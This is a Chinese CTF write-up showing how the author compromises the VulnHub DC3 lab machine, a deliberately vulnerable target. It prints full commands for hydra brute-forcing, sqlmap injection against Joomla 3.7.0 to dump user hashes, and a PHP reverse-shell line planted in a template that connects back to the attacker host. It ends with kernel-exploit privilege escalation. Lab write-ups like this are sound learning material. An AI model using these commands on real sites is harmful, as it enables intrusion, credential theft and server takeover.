VulnHub DC3入侵实战 – 作者:FFFcaptain328

基本配置

靶机是从VulnHub上下载的DC3,配置如下:

1604059717_5f9c024580875a2644c82.png!small?1604059717971

攻击机为Kali2020.3

信息收集

靶机与攻击机同处一个虚拟局域网中,首先扫描网段192.168.187.0/24。Kali网络设置如下:

1604059726_5f9c024e8fdc35ee348ff.png!small?1604059727048

扫描网段:

1604059735_5f9c02571d8b9c4ab5081.png!small?1604059735509

得到DC3的IP地址192.168.187.136

进一步扫描:

1604059743_5f9c025fee00e69e06f6f.png!small?1604059744380

没有更多有用的信息,扫描先告一段落。

打开Firefox访问http://192.168.187.136

1604059750_5f9c0266ea0290b067d71.png!small?1604059751552

由Wappalyzer插件得到一些基本的信息:CMS使用Joomla,服务器操作系统为Ubuntu。先记录下来备用。

联想到入侵DC2时WordPress有专门的扫描工具,那么自然先找一下有没有joomla对应的扫描工具。搜索后得知有joomscan这个专用工具

接下来使用joomscan对网站进行扫描:

joomscan -u http://192.168.187.136

1604059788_5f9c028cb15ff68c0fb74.png!small?1604059789258

比较有用的信息包括:

我的尝试

密码爆破

既然需要进行登录,那首先先试着猜测一下密码。

先创建dc3users.txt文件,其中写入admin和administrator两个可能的用户名。使用cewl生成密码字典并存在dc3pass.txt里:

cewl http://192.168.187.136/administrator/ -w dc3pass.txt
cat dc3pass.txt

1604059813_5f9c02a588d3c303d3b60.png!small?1604059813986

使用hydra进行爆破,在爆破之前先看一下网页源码了解一下登录是用的GET还是POST。查看后可以找到,使用POST方法,用户名和密码的变量名分别是username和passwd。

然后进行爆破:

hydra -L dc3users.txt -P dc3pass.txt 192.168.187.136 http-post-form "/192.168.187.136/administrator:username=^USER^&passwd=^PASS^&submit=login:bad password"

1604059830_5f9c02b6b336b49a64be9.png!small?1604059831172

看来这条路走不通,必须另寻他法。

Metasploit

既然简单的密码爆破行不通的话,那就再试一试用metasploit来利用漏洞吧

打开控制台搜索joomla对应的漏洞:

1604059846_5f9c02c6ee5db93969acf.png!small?1604059847647

看起来还不少,但是试了一遍没有一个有用的,于是这条路也走不下去了。

sql注入

既然使用metasploit没法直接利用漏洞,那么接下来还可以用searchsploit试试看:

searchsploit joomla 3.7.0 #加个版本号以期获得更准确的漏洞利用信息

1604059868_5f9c02dca853bce69a4b9.png!small?1604059869141

发现有一个sql注入和一个XSS可以利用,XSS似乎对我们登录管理员账号无关,那接下来就试一试sql注入。

打开描述文档42033.txt查看利用方法,其中指示了使用sqlmao的方法:

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] # 描述文档中的指令原型
sqlmap -u "http://192.168.187.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] # 准备执行的指令

粗略地看一下sqlmap的选项可以看到,这条指令如果执行成功的话可以给出服务器上有哪些数据库,执行看看:

1604059887_5f9c02ef288a9629d481e.png!small?1604059887526

可以看到有个数据库叫joomladb,接下来重点关注这个数据库,看看它有哪些表:

sqlmap -u "http://192.168.187.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]

1604059921_5f9c031165684db385f92.png!small?1604059921791

发现了一个__user表,那接下来看看这个表有什么表项,注意带特殊符号的表要用单引号框起来:

sqlmap -u "http://192.168.187.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --columns -p list[fullordering]

1604059931_5f9c031b8afc0e1621d03.png!small?1604059931963

看来这个表应该会有我们关心的账号信息,那就把表中的数据用sqlmap的-dump选项显示出来:

sqlmap -u "http://192.168.187.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' -dump -p list[fullordering]

1604059941_5f9c0325ac6cc4030b131.png!small?1604059942137

在这个表中存储了用户名admin,以及其登陆密码对应的hash值

$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu 

接下来用John the ripper碰碰运气,先把这个hash值写进一个文件(dc3pass-hash.txt)里备用

然后使用John the ripper试图找到该hash值的原象:

sudo john --show dc3pass-hash.txt

1604059952_5f9c0330c31b3eb3a211b.png!small?1604059953224

得到一个破解出来的密码snoopy,用这个密码登录admin账户:

1604059975_5f9c03475dcbdb519e66f.png!small?1604059975975

登陆成功!

进入靶机

拿到了admin账户的登陆密码,也只是获得了网站内容的管理权而已,下一步要做的是利用admin的权限试图让我进入服务器。

admin可以操作网站的所有内容以及设置,如果可以在访问的页面植入一段脚本返回一个shell,就会有办法进入靶机。

查了一下资料,可以直接在joomla管理员界面编写页面脚本,只需要点击Extensions下的Templates,选择protostar,然后编辑index.php,只需在index.php开头的位置加上

<?php
system("bash -c 'bash -i >& /dev/tcp/192.168.187.130/4444 0>&1'");
?>

保存后先在Kali的4444端口启动监听

nc -lvp 4444

接着重新加载一遍http://192.168.187.136即可在本地得到反弹回来的shell,此时正式进入了靶机

提权

按照惯例先收集一点基本的信息

echo $PATH
pwd
whoami

1604060058_5f9c039a8d6c38871d1f2.png!small?1604060059054

似乎是个正常的环境。

那么查看一下有没有可以免密码以root权限执行的指令

sudo -l

1604060077_5f9c03ad4192f46832f54.png!small?1604060077670

很遗憾并没有

再看看有没有本身具有管理员权限的指令

find / -user root -perm -4000 -print 2>/dev/null

1604060088_5f9c03b897ce3bf1745bf.png!small?1604060089119

看了一下没有可以用来提权的指令,只得作罢。

再切换到其他地方翻了一下也没有什么值得注意的地方,现在似乎有点无路可走了。我于是再一次查了一些关于提权的资料。

查完资料后发现现阶段可能可以使用的就是利用内核漏洞提权了。要启用内核提权,那就要先查看一下内核的版本:

uname -a # 查看内核的详细信息
uname -r # 查看内核发行版
uname -v # 查看内核版本

1604060120_5f9c03d8a042621db48c0.png!small?1604060121085

再查看一下系统版本:

lsb_release -a # 这里用不了
cat /etc/issue

1604060129_5f9c03e19a4858932c3c5.png!small?1604060130134

拿到这些信息再使用searchsploit搜索一下:

searchsploit 4.4.0-21 # 搜linux 4.4.0-21会搜出来很多没用的,因为有一级文件目录就叫linux

1604060149_5f9c03f56c4649de48392.png!small?1604060149896

三条一条一条地试都没有结果。只有换个方向,再搜一下ubuntu 16.04:

searchsploit Ubuntu 16.04

1604060162_5f9c04020902bf3272719.png!small?1604060162845

这回搜出来的就多了,把以Linux Kernel开头的都试一遍,这次在试到39773.txt的时候终于成功,得到了root权限:

1604060173_5f9c040d87e0350da6753.png!small?1604060174101

接下来只需前往/root目录就可以找到flag了:

1604060179_5f9c041334c5a64dd5eec.png!small?1604060179681

总结

一点感受

这次入侵DC3靶机的经历对我来讲是一次全新的体验,没有flag的提示让我一时间有一点点不知所措,但好在现阶段初步形成了自己的一套方法论。虽然搜集信息,查找资料的过程有些枯燥,但是达到目的的时候仍然让我感到十分满足。希望自己还能保持这样的学习状态坚持下去。

这次入侵DC3的过程中,我又学会了一些新的知识:

  • joomla扫描工具joomscan的使用方法

  • sqlmap的一些基本用法

  • john the ripper的使用方法

  • 利用PHP脚本回弹bash

  • 利用内核漏洞提权的过程

还有一些知识比较欠缺:

  • 仍然是Linux 命令行,由于不熟悉,我在回弹bash的过程中遇到了很多麻烦

  • 对提权的方法不敏感,还需多了解

来源:freebuf.com 2020-10-30 20:18:51 by: FFFcaptain328

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论